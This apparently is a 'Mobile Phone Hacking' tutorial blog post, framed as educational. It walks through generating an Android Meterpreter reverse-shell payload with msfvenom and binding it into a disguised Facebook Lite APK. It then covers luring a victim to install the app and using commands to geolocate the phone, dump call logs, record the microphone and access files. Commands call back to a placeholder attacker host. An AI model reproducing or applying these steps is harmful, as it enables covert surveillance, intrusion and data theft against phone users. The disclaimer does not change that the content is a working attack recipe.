Understanding Mobile Phone Hacking: Risks and Mitigations
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Disclaimer!
This article about "Mobile Phone Hacking" is intended solely for educational purposes. I do not support or promote any illegal actions. All examples are conducted in a secure setting. Please refrain from unauthorized access to mobile devices. Utilize this information responsibly and at your own risk.
In our current digital landscape, mobile phones play a crucial role in our everyday lives, functioning as personal assistants, communication tools, and gateways to the internet. Nonetheless, the convenience they provide also introduces potential security vulnerabilities.
What is Mobile Phone Hacking? Mobile phone hacking involves unauthorized access, manipulation, or exploitation of mobile devices and their data. Various methods are employed by hackers, including malware, phishing, network attacks, and social engineering.
- Malware: Malicious software designed to infiltrate, damage, or gain unauthorized access to systems, including mobile devices. This encompasses viruses, worms, Trojans, and spyware.
- Phishing: A cyber attack technique that deceives individuals into revealing sensitive information, such as usernames, passwords, or financial details, by pretending to be a trustworthy entity in electronic communications.
- Man-in-the-Middle (MitM) Attack: A cyber attack where the attacker intercepts and potentially alters communication between two parties without their knowledge, often occurring over network connections like Wi-Fi.
- Social Engineering: Manipulating individuals into disclosing confidential information or taking actions that jeopardize security, primarily through psychological tactics rather than technical methods.
In our practical demonstration, we utilized a combination of malware and phishing techniques targeting Android devices. We created a malicious application using msfvenom and lured the victim into downloading and installing it. This act granted us complete access and control over their device, underscoring the serious risks associated with such cyber threats.
LAB SET-UP
First, we need to set up our Mobile Hacking Lab on Kali Linux.
To test Android devices and applications effectively, we require either a physical or emulated Android device. For this demonstration, we employed a real device, but here’s a guide to installing Genymotion, an Android emulator equipped with a comprehensive set of sensors and features for interacting with a virtual Android environment.
To properly download and install this application on Kali Linux, we visited the official Genymotion download page.
Next, we navigated to the directory where we downloaded the file and executed the following commands.
Make sure to note this directory on your system.
We also installed VirtualBox and ADB.
To run Genymotion, we navigated to the previously mentioned directory.
The application should then pop up.
We created an account by clicking here.
This redirected us to this page.
Next, we logged in and selected the appropriate options.
Finally, it's all up and running.
Now let’s add a device.
Proceed by clicking next throughout the setup.
Install the application.
Our virtual phone is now operational.
The next step is to generate our malicious application using msfvenom and send it to the victim.
Generating Our Payload
msfvenom is a robust tool in the Metasploit Framework, widely utilized for penetration testing and exploit development. It allows security professionals and ethical hackers to create custom payloads for various exploits, applicable across multiple platforms and purposes, including remote code execution and shell access.
The tool offers flexibility in crafting payloads, letting users define payload types, encoding methods, output formats, and other parameters.
We executed the following command to create a malicious APK using msfvenom:
sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=<Attacker_IP> LPORT=<Port> -f raw -o malicious.apk
Obtaining the Attacker IP
Binding Our Payload with Facebook Lite
I downloaded the Facebook Lite APK from APKPure.
We employed the following command to bind the APK to the payload:
sudo msfvenom -x Facebook_Lite_401.0.0.14.110_Apkpure.apk LHOST=<Attacker_IP> LPORT=<Port> -o maliciousFB.apk
Serving and Sending the Application
There are various ways to deliver the application to our victim; we utilized a basic Python HTTP server for this purpose.
The victim downloaded the malicious application through their browser.
As of April 4, 2024, our malicious application passed all Android security checks.
Gaining Access to the Victim's Phone
To proceed, we will use msfconsole to configure our reverse shell handler and set the necessary parameters.
………………………snip…………………….
Now we run the application on the Android device by clicking the MainActivity APK.
And just like that, we obtain a Meterpreter shell on the victim’s phone!
To gather information about the remote system, such as the operating system, we executed:
To determine the user under which the server is running, we executed: getuid
We utilized the help command to list all available commands we could execute on the target.
…………………………..snip…………………….
To verify if the device is rooted or jailbroken, we used check_root.
We also employed the geolocate command to check the current location of the device.
Using the dump_calllog command, we retrieved all call logs from the victim.
We also checked the number of webcams available on the device using webcam_list.
Additionally, we used the record_mic command to eavesdrop on the user.
File System Access
We achieved complete access to the file system, enabling us to upload, download, and read file contents as demonstrated below.
And that’s a wrap!!!
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